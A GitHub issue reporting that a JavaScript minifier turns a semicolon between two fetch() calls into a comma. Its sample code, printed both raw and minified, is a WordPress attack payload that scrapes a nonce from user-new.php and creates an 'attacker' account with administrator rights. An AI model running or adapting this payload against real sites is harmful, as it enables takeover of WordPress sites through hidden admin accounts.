Skip to content

A semi-colon is wrongly transformed into a comma during the compression, which results in a syntax error #103

Description

@Freeedim

Hi,

Please consider the following copy-pasted code, in particular the semi-colon ";" at the end of the first "fetch()", just before the second (fetch()".

var nonce;
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
fetch(requestURL)
	.then(resp => resp.text())
	.then(data => nonce = nonceRegex.exec(data)[1])
	.catch(error => console.error("Erreur :", error));
fetch(requestURL, {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: new URLSearchParams({
        action: "createuser",
        "_wpnonce_create-user": nonce,
        user_login: "attacker",
        email: "attacker@offsec.com",
        pass1: "attackerpass",
        pass2: "attackerpass",
        role: "administrator"
    })
})
    .then(response => response.json())
    .then(data => console.log("Response:", data))
    .catch(error => console.error("Erreur :", error));

When I use jscompress.com, the result is (copy-paste):

var nonce,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;fetch(requestURL).then(e=>e.text()).then(e=>nonce=nonceRegex.exec(e)[1]).catch(e=>console.error("Erreur :",e)),fetch(requestURL,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({action:"createuser","_wpnonce_create-user":nonce,user_login:"attacker",email:"attacker@offsec.com",pass1:"attackerpass",pass2:"attackerpass",role:"administrator"})}).then(e=>e.json()).then(e=>console.log("Response:",e)).catch(e=>console.error("Erreur :",e));

We can see the semi-colon mentioned earlier was turned into a comma, which results in a syntax error when I execute the code.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions